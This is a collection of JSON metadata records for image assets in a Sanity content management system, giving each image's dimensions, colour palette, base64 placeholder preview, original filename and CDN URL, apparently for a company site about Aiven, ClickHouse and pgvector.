{"_createdAt":"2024-03-04T12:33:58Z","_id":"image-7c384d0899876a5ba95dab54ecc9afd50604cd49-400x400-jpg","_rev":"l09zfllA91kWryrBqaX4NJ","_type":"sanity.imageAsset","_updatedAt":"2024-03-04T12:33:58Z","assetId":"7c384d0899876a5ba95dab54ecc9afd50604cd49","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9C%8J9F00-;~qIUIUt7t7t7D%%M?bof9F%May00j[?b00xu?bD%Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":400,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcGAwj/xAAjEAABAwQCAgMBAAAAAAAAAAACAQMEAAUGERIhMUEHInFR/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AIditsiNXt0hk8hYPQHr6l3ViyHF7QFlhC1HbGUbgq6+2XZIvnaVBMNihcshgwJ0l2NEedQTME7SvQ3zFhaNYdEn4xdZDrkBEVWuaKpInvr+UEZyfHgbvkoIai2wJaBB2qa/aVxcyaK8jZSAkA+gIjmi8l7WlBSLEzHj45Hcaix0dbDkjignLf7WffvlxcuTLQynG2nkLmILpFpSgwmZgK5DI0iCnXQ9J4pSlB//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":1.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfbfbf","foreground":"#000","population":11.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfbfbf","foreground":"#000","population":11.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":2.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-square - Nick Chiu.jpg","path":"images/sczeoy4w/production/7c384d0899876a5ba95dab54ecc9afd50604cd49-400x400.jpg","sha1hash":"7c384d0899876a5ba95dab54ecc9afd50604cd49","size":25659,"uploadId":"jdmasAookvEji5fxpjKFcpbGrMTXsdNR","url":"https://cdn.sanity.io/images/sczeoy4w/production/7c384d0899876a5ba95dab54ecc9afd50604cd49-400x400.jpg"} {"_createdAt":"2023-09-15T07:22:29Z","_id":"image-7c4077901b0a192307ae9227576cbbd731df51c4-500x500-jpg","_rev":"kCpVRB4k8RYeMqmK06msZi","_type":"sanity.imageAsset","_updatedAt":"2023-09-15T07:22:29Z","assetId":"7c4077901b0a192307ae9227576cbbd731df51c4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":500,"width":500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAQFAQMI/8QAIBAAAgICAgIDAAAAAAAAAAAAAAECBAMREkEFMSFRof/EABYBAQEBAAAAAAAAAAAAAAAAAAEDAv/EABcRAQEBAQAAAAAAAAAAAAAAAAABMSH/2gAMAwEAAhEDEQA/AOjbWR4sEpR9oh0bWTJm4Te0/wAN96xHFDjpSk+mQqllYsnzBafaLScYXAMJ7Sa9MGCp/JNu1LfRFAKzAvKTbrQ39AAndL//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#141484","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#121272","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccd4e4","foreground":"#000","population":37.92,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccd4e4","foreground":"#000","population":37.92,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ececfc","foreground":"#000","population":0.63,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#141484","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2222dc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"placeholder-people.jpg","path":"images/sczeoy4w/production/7c4077901b0a192307ae9227576cbbd731df51c4-500x500.jpg","sha1hash":"7c4077901b0a192307ae9227576cbbd731df51c4","size":6039,"uploadId":"hN3EKoOD3ngr26TXph3RNem98scq3d5R","url":"https://cdn.sanity.io/images/sczeoy4w/production/7c4077901b0a192307ae9227576cbbd731df51c4-500x500.jpg"} {"_createdAt":"2022-09-17T20:40:42Z","_id":"image-7cb654e3bf4266fe0c49bb751b8f9e482d576554-1200x630-jpg","_rev":"StyfnzRSyhTCbsBlPUkTck","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:40:42Z","assetId":"7cb654e3bf4266fe0c49bb751b8f9e482d576554","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPRfUnF%Vr-Mpf%LNGbHt7t7lCrUW=S*ro","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAQDB//EACEQAAICAgIBBQAAAAAAAAAAAAECAwQAESExBRMiMkGR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQID/8QAHBEAAwACAwEAAAAAAAAAAAAAAQIDABEEEjFB/9oADAMBAAIRAxEAPwDv9iDyjW5JIra+kW2qk9Zdcu2oaKH2CU8Mw5AzKIasuef3KWAZSrDan6OZ8mT1kyTbqT9ykYIwJGxjxt+SxVV5PlsjrvGFAUaAAGMYyZJqrtsge4OwLEgaz//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5454","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#816202","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fac00f","foreground":"#000","population":7.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5a1a5","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3e295","foreground":"#000","population":1.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7474","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac00f","foreground":"#000","population":7.96,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ClickHouse_product_page_meta_preview.jpeg","path":"images/sczeoy4w/production/7cb654e3bf4266fe0c49bb751b8f9e482d576554-1200x630.jpg","sha1hash":"7cb654e3bf4266fe0c49bb751b8f9e482d576554","size":146389,"uploadId":"GTzZHqY0sGIuEKudrtRaoNHVDm26MVVm","url":"https://cdn.sanity.io/images/sczeoy4w/production/7cb654e3bf4266fe0c49bb751b8f9e482d576554-1200x630.jpg"} {"_createdAt":"2022-12-12T13:05:48Z","_id":"image-7cee0c3f41ba3a1f35d22dca7ca321853ac549b8-1200x630-jpg","_rev":"gYxzbT5h6EDFb7xrQlN1Om","_type":"sanity.imageAsset","_updatedAt":"2022-12-12T13:05:48Z","assetId":"7cee0c3f41ba3a1f35d22dca7ca321853ac549b8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MXQc0cp{bwqtpwt7R*kCs:S4TyVEjFb_ni","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYDBAUI/8QAIRAAAgICAgIDAQAAAAAAAAAAAQIDBAARBTEGIRRBcZH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAgT/xAAZEQACAwEAAAAAAAAAAAAAAAABAgADEQT/2gAMAwEAAhEDEQA/AOhnpMzswtTqCd6B9DFLyzlrlC2Kte20aqmyzdsf3G+EAWXPv+5R5/jql4QfKgSXTet5HRW1iYpyaOS1KbQzrokXivKT8lw0VixGBJsqdHvX3hmtTrQ1a6RV41jjXpR1hiqCAATCsdWclRgn/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414346","foreground":"#fff","population":2.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#812503","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f95b20","foreground":"#fff","population":9.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0bacc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b968","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c94ac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f95b20","foreground":"#fff","population":9.37,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Open_Source_meta_preview.jpg","path":"images/sczeoy4w/production/7cee0c3f41ba3a1f35d22dca7ca321853ac549b8-1200x630.jpg","sha1hash":"7cee0c3f41ba3a1f35d22dca7ca321853ac549b8","size":93393,"uploadId":"c8SixN1MKp5jD5lej4ifK552sjmNoqaE","url":"https://cdn.sanity.io/images/sczeoy4w/production/7cee0c3f41ba3a1f35d22dca7ca321853ac549b8-1200x630.jpg"} {"_createdAt":"2022-07-08T09:49:19Z","_id":"image-7d138beeb15883d4b296d0bf5e28aecdf4f72c63-1486x364-png","_rev":"QRl2cGoCgj0FlAhkRriUVG","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:30Z","assetId":"7d138beeb15883d4b296d0bf5e28aecdf4f72c63","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DPR:HGt7~qt7Rj%MWBt7ofj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.082417582417582,"height":364,"width":1486},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAwklEQVQYlXWQCweEUBCF9///slQkJb1IiV5KpfR0zzpDadfu5ZhxzXxzZl4AoJQS8a3rijRNYZomdF1HEASI4xiGYUDTNMn7vseyLDiO4+674usJpPZ9R13XCMMQvu8jz3OUZYkoimBZFlzXRZZl6LpOatWj9wN4RU4dhgFJkoibqqrQtq1AHMcRKAdxyLZtd99f4HmeGMfxBjZNg6Io4HkebNuWP27Amsvhz5WfwHmeZSWKbumSJ6AIn6ZJbs3ab+AbbW98d/mC8qMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#535353","foreground":"#fff","population":1.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#818181","foreground":"#fff","population":1.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7b7b7","foreground":"#000","population":1.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#818181","foreground":"#fff","population":1.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7d138beeb15883d4b296d0bf5e28aecdf4f72c63-1486x364.png","path":"images/sczeoy4w/production/7d138beeb15883d4b296d0bf5e28aecdf4f72c63-1486x364.png","sha1hash":"7d138beeb15883d4b296d0bf5e28aecdf4f72c63","size":53701,"uploadId":"vDdzmfzlkZsqttk4hzUiTlzrWxiF3CRq","url":"https://cdn.sanity.io/images/sczeoy4w/production/7d138beeb15883d4b296d0bf5e28aecdf4f72c63-1486x364.png"} {"_createdAt":"2022-11-17T14:03:31Z","_id":"image-7d2415ed7e4376fcaa4a05ab4f9efc1ad53f810e-1999x822-png","_rev":"bUMlF7B1Xxw34pzcKjkNJ8","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T14:03:31Z","assetId":"7d2415ed7e4376fcaa4a05ab4f9efc1ad53f810e","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.431873479318735,"height":822,"width":1999},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA1UlEQVQYlYWQ244EIQgF/f8P7R17VQRsRcTOxN59mFsyFV6Lc8DtIW43v918BCi1imofpjbnnOczqppz/r0ASMzkADHEFEJIKTGziIwx3s3zPM0GM/ndbz+b33eA5IhLRoS8KKVIa6o6bEW/yHNOEQkpbd77EInJZeKUMRNxOWqTJl36sofN9wVmdrSWuWA5Wu8OiBMSlXIsU1tX0fF3tn5qb3MO+1/tiJiIjlpXpvTeu44xbPX+UP0ZR0Q5Z0Ski8effXNPh4gxpRBiiGsAoNZ6BX+X70pI0SwNyEgpAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e596a","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#284d5c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c8c8b","foreground":"#fff","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cb4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cc4d4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c8c8b","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4d95b1","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image3.png","path":"images/sczeoy4w/production/7d2415ed7e4376fcaa4a05ab4f9efc1ad53f810e-1999x822.png","sha1hash":"7d2415ed7e4376fcaa4a05ab4f9efc1ad53f810e","size":110777,"uploadId":"N6X7zYhnqDQv2GPzlndGyQoVXf5FrBvi","url":"https://cdn.sanity.io/images/sczeoy4w/production/7d2415ed7e4376fcaa4a05ab4f9efc1ad53f810e-1999x822.png"} {"_createdAt":"2024-07-31T01:54:09Z","_id":"image-7d4bfdfb32cd4210b6ed6676f8d295e751091dd1-727x727-png","_rev":"m47zVAKzspt7UjVx7wCEit","_type":"sanity.imageAsset","_updatedAt":"2024-08-02T08:10:32Z","altText":"Michael Korbacher","assetId":"7d4bfdfb32cd4210b6ed6676f8d295e751091dd1","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eiN,[4of_4j[V@~pay-;ofM_9aWBI9j[t8-;j[t7j[Rj-;azM{ayRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":727,"width":727},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAADqklEQVQ4jX3S+1OSWRgHcP64xpkEEXkRuQioiJcUjfFaEJqZgiBykRewFAIhUUEEVJSNDQVCa6ohS8rbTKvQJr5aFATvpZ1y11Fq9vx25pnPfM98n4PLwXAeQRAUxTDs+8+DYRiCIJlMBoKgVCqVTqdhGD6fXjy4PALDKIL+N4NhGIKgrXj8cXB11um026f9fv/2zk4mk/nV42AUQbB/Y1EU/Xh0tLy8cndQ0tjE51RzOVU115paRrVgLBbLZrMFHof8iP2BMQzLZrPrGxs9t29TaXQCgUgkksgAhUQCGEy2Uq2Jx9/m8/lL+FyiKHZycuKad/P5zc0N3BuCa6I2vrC9pam+FiBTari8mVnH8fHxxfDL+PTU7fHc6GoDpaIli8pvA+cnlFqJqLOlvoHH1RsMfx0cXsIXS/6ayYRCIcXQHRs4EHXdj/ms626j1zQyrhD332q3mB8cJhKF+OyOYRgMw1tbbyYntCZ1n3tCHnYYwo4x97jcNCLWynp8C+5UKvV7fNZ2MnHwyDs9bZDOGSSPJpUBi8Khu2tWim2GoaeRYPrz598/+yz80ykUi/4Zct6L2MHwQ82qZSQ4qfRbFCszY+82X3zLZv4PZ75+2d18tu4xR+xg4IHKPzGyZtUEberw4lTi/R6CwN9/bfsc53O5g714yGNZMso9eplbL1+4J1s0KaIBL5T6WPhJCjAMw4fv9wMeq3Ns0AVKXKNSu+aOVScJLHs+JJMIjBTs+WzJaDabPUqldnb3g8Ggzag1qXqtmn6Lqt8wJFRKbul04MLSSvzt9jF0ksvnz2rGfcvlUhC0vbO7FolOzcwNq3R9A1KlfECvEIMykVoiVA4Kh2UDXcKeZkGXVK6acy+8ePkqkUim019wG8+ezzrd0mH19Q5RFY9fzqita+5QarRmo35cJ9erJQa9dtRgbO3uI9NqqExuA7+jt19mND/8IxDEtXeLa+paAVo1gczEkxiEssr66yLQ4nL4gg7vypTTa3Eua0xz/O4BCrO+rKIGoHMrWPXcBoGgU4wrpbBKyCw8iXG1lH61lE4gswQ3B+2+J4Hn+/6ne77ou6Vo3Dz/WCCUAsy6MhoXoNcCDF45s47GbsSVlnOIALuYSC8iUIsIVDy5srNX7ll9GdlKrm0mQq+TkTeJ2ZVo681BUgWXWF5VSq3+mV9LYfBwRICDJ1UW4alXiilXisuLy85xIvw6+ST+dzT+YWox3NjWS6BwCACbALBLAA6Rwi4BWP8Azl5zkbqpWzcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4058","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#69471a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#908274","foreground":"#fff","population":5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2bdae","foreground":"#000","population":1.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecd4b4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#908274","foreground":"#fff","population":5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cb8a33","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"michael-lorbacher.png","path":"images/sczeoy4w/production/7d4bfdfb32cd4210b6ed6676f8d295e751091dd1-727x727.png","sha1hash":"7d4bfdfb32cd4210b6ed6676f8d295e751091dd1","size":543308,"title":null,"uploadId":"7IFfZKyjKG9vgGjIcKZFN5lJb0FJS986","url":"https://cdn.sanity.io/images/sczeoy4w/production/7d4bfdfb32cd4210b6ed6676f8d295e751091dd1-727x727.png"} {"_createdAt":"2022-09-14T11:10:58Z","_id":"image-7d777f20b14b8262bb9f4d7439657117ed38cb78-868x454-jpg","_rev":"STwkGY00NBjXpkjjM1oXYZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T11:10:58Z","assetId":"7d777f20b14b8262bb9f4d7439657117ed38cb78","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJSYR08wMJ%gpI~WzqofX-pI9ZPApcyDkq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9118942731277533,"height":454,"width":868},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABgcA/8QAIBAAAgEEAgMBAAAAAAAAAAAAAQIDAAQFIRESFDGRUv/EABYBAQEBAAAAAAAAAAAAAAAAAAEDBP/EAB4RAAEEAQUAAAAAAAAAAAAAAAABAgMSEQQUQVGR/9oADAMBAAIRAxEAPwCrWttLn0ngyeP8eRroTJOzDag+vlU+No1RVV14AAG6itqzGzlJYkg6PNM8KScZbkkk9BuptZQ3yzLrHYxVE48HPdP0v2tQ2Ynv7NamwbNOz//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a2829","foreground":"#fff","population":3.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d60739","foreground":"#fff","population":0.28,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e92a2e","foreground":"#fff","population":4.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbb9af","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc679d","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b97770","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e92a2e","foreground":"#fff","population":4.71,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"logo-spintop.jpeg","path":"images/sczeoy4w/production/7d777f20b14b8262bb9f4d7439657117ed38cb78-868x454.jpg","sha1hash":"7d777f20b14b8262bb9f4d7439657117ed38cb78","size":23783,"uploadId":"F8NPvreHuqFqDQBAe6aYT0XL3oeqKvLh","url":"https://cdn.sanity.io/images/sczeoy4w/production/7d777f20b14b8262bb9f4d7439657117ed38cb78-868x454.jpg"} {"_createdAt":"2024-03-08T07:47:11Z","_id":"image-7e019287dd035876b31f1ce65b6ff45158f57670-2200x1680-png","_rev":"zTx0EUw0vMrj4JXNbqq0FI","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:47:11Z","assetId":"7e019287dd035876b31f1ce65b6ff45158f57670","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VAA095@X2R3Z9YeearkaVxo:2+5P^T}Sz:JBjKsik7W0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3095238095238095,"height":1680,"width":2200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD/0lEQVQ4jY3Tb0xbZRQG8Oe2tL20QFs6atsxJpBhpm0p3Nvb3pb23rYMKGBJQf6zdWQDpjNamg2cQcdgEEJhmRjHdAwSsmzRxBiTaQhKzJgGARE2lIHRAZpsMzPEJYsmfqkpw6HRD77Jk/fLyS/vm3MOKJaPp1heTLE8/sp/nUZ+GbrmSaQe/wLJoeuELnRdqgtNanShyWRt8+QOTfCaJO75CeDvYJrNhVGKwZrJ9I/8blAgkgEYT83CcX4Rmae/Iizd81J794La3r2gpTrnEtNPTIkF+8e2wWyWQwtjQ0S/F7dNJqybTFg1ZOPhu8CvYWAjLMDB41fA9SxA//oMkdu2GOfvWN5V2reyx3t2SUd1zcXG13/6GBQp7RzAF+Muw2DdbsdPDgfWrXb8sQA8CAORc0AkAIxqfkBF8TfCksrFOH/zks7fu5JeOHBLw/TMS8ia8U0wgWI5kmE54QhlFi4bjeSawSBd1evJVYNeeKdeS9wPi4mHYRCDdb1o4L8TNriWyf2eJWlR/U2pp2tR5ui9SRpPzQqAk1GQU1Est4NiucRGiz1h3swof2SYJ9YYi2rdRpMbJ8Xkg34ofu6JjR8OtEsOc9+TTa5bZIN7OSbHNwsUnwGS+zYbZ26bewyqs61OdY3NqfwkryBp7tmqXTO+Izs/K2qRf33Mqlzr1KR/2/b0kxcPdCgOOW+TL7gXhS+5b4Bgrm5CkUgE479FYGiZ3vqyjZdlWRxki4OXfVhSph6rejFtrLIz7T3foPrygVdUE8GS9I+O1qWfq+mX19juC9rr++B8xw3qdCv2dPRj54n3oQ1eg6Zp41FTaBsvFiZnYNLjjpkuK1fM1h3Rzta2aCf8XQkDJUPkYG1Yeabi7aRXi8altewvBHrbob6QAdF5OVIGzGBGi/DxvS+ROZy7BbK8ON5oRsSbjztlZaJ7VVVkNHfLK4RX8gbwct604KhnQdLEr8Qe2ndDUhDqERku5Ir2Djlj9EMuQRSK6dbBeNGzPYdZ0Q1heHxgtWHOYsWMhcWlHAe4w0CEiiCQO0U0OVdEgcIpaUGwV2F5ozqJGi5UZQ3vizUMugl7uReUh9+eQzPLgWY5eJkcVNMsnqNtcFgdeIrJguyZTOxWHcQlcwR1/s9FvtBAYmF/a2reSEOK/XKpLOUqRaigBk1zm6CcYnkJxfICmuUJhuUI61bMLEdQLEfQrIugnR6Cpu2EpbpS4Ot4TV75ZkdaxUhrqnckkKAPskIzl0vQdp6IgolbryS34Oj979h4kra6JJSHI7lgqdzX35jsf6tpd35nlcpc7I7NZpzRGmkUVD7aFl72f0LbeRnldcVZG/MV3DGfyhEoktNOl4yycjKK5RL+BEpnUOgmjoOUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#305041","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c0858","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#305041","foreground":"#fff","population":0.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbb2c1","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f094a4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a5d5c","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5149e1","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-ivfflat-clusters.png","path":"images/sczeoy4w/production/7e019287dd035876b31f1ce65b6ff45158f57670-2200x1680.png","sha1hash":"7e019287dd035876b31f1ce65b6ff45158f57670","size":77406,"uploadId":"LO8unH9LSiK7gJPLwSDpOfQJFz1ZMCS9","url":"https://cdn.sanity.io/images/sczeoy4w/production/7e019287dd035876b31f1ce65b6ff45158f57670-2200x1680.png"} 